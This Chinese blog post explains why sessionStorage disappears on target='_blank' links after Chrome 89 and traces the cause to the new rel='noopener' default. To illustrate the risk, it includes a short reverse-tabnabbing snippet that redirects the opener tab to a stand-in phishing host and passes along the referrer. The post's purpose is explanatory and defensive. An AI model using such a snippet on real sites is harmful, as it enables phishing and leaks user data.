← 返回首页
Chrome更新89版本后sessionStorage丢失问题解决方案
发表时间:2022-08-09 23:41:35
Chrome更新89版本后sessionStorage丢失问题解决方案

在Chrome浏览器89版本前,当前会话页面指的是当浏览器窗口没有关闭时,窗口内同域网站可以共享此数据(同源浏览器多个窗口不共享),当页面全部关闭或窗口关闭后,sessionStorage数据会被摧毁,所以你用a标签跳转还是js跳转都会共享sessionStorage。

然而在2021年3月初Chrome浏览器进行了批量更新,更新到89版本后,通过a标签target="_blank"跳转到新页面时sessionStorage就会丢失。Chrome这一更新可能会导致很多网站的sessionStorage丢失,页面可能直接就崩掉了。

例如: 查看本人的chrome版本为最新的104.0.5112.81版本。

问题测试代码:

index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<div>
    <div>
        <a href="test.html" target="_blank">test.html</a><br>
        <a href="javascript:void(0);" onclick="openWindow()">open test.html</a>
    </div>
    <div>
        <button onclick="saveToSession()">保存属性到sessionStorage</button>
    </div>
</div>

<script>
    function saveToSession(){
        sessionStorage.setItem("yourname","张三丰");
        console.log(sessionStorage.getItem("yourname"));
    }

    function openWindow(){
        window.open('test.html','_blank');
    }
</script>
</body>
</html>

test.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<h1>Test.html</h1>
<hr>
<script>

    let name = sessionStorage.getItem("yourname");
    console.log(name)
</script>
</body>
</html>

我们发现使用target="_blank"方式打开新窗口,目标页面sessionStorage就会丢失。而使用window.open()方法打开的目标页面则sessionStorage中的数据存在。

解决方案:

原因分析

谷歌为什么要这么做?保留session它不香吗?

搜索了一番才知道是为了网站安全考虑,而firefox似乎早就是这样了。

之前浏览器的处理逻辑:当 a 标签的 target="_blank" 时,浏览器默认会添加 rel="opener" 属性,这时 B 标签的上下文(包含 sessionStorage)是从 A 标签复制而来的,并且可以通过 window.opener来访问 A 标签的 window 对象。没错,当 B 标签不是我们自己的网站时,这是一个危险的行为!

现在浏览器的处理逻辑:当 a 标签的 target="_blank" 时,浏览器默认会添加 rel="noopener" 属性,这时 B 标签的上下文是一个全新的,空白的上下文,并且 B 标签不可以通过 window.opener 来访问 A 标签的 window 对象。很安全!

举例说明:

1.在你的网站 https://example.com 上存在一个链接:

<a href="https://an.evil.site" target="_blank">进入一个“邪恶”的网站</a>

2.用户点击了这个链接,在新的标签页打开了这个网站。这个网站可以通过 HTTP Header 中的 Referer 属性来判断用户的来源。 并且,这个网站上包含着类似于这样的 JavaScript 代码:

const url = encodeURIComponent('{{header.referer}}');
window.opener.location.replace('https://a.fake.site/?' + url);

3.此时,用户在继续浏览这个新的标签页,而原来的网站所在的标签页此时已经被导航到了 https://a.fake.site/?https%3A%2F%2Fexample.com%2F。

4.恶意网站 https://a.fake.site 根据 Query String 来伪造一个足以欺骗用户的页面,并展示出来(期间还可以做一次跳转,使得浏览器的地址栏更具有迷惑性)。

5.用户关闭 https://an.evil.site 的标签页,回到原来的网站,但是已经回不去了。

推荐:

首先,在网站中的链接上,如果使用了 target="_blank",就要带上 rel="noopener",并且建议带上 rel="noreferrer",为了 SEO 权重,还建议带上 rel="nofollow",所以最终类似于这样:

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">进入一个“邪恶”的网站</a>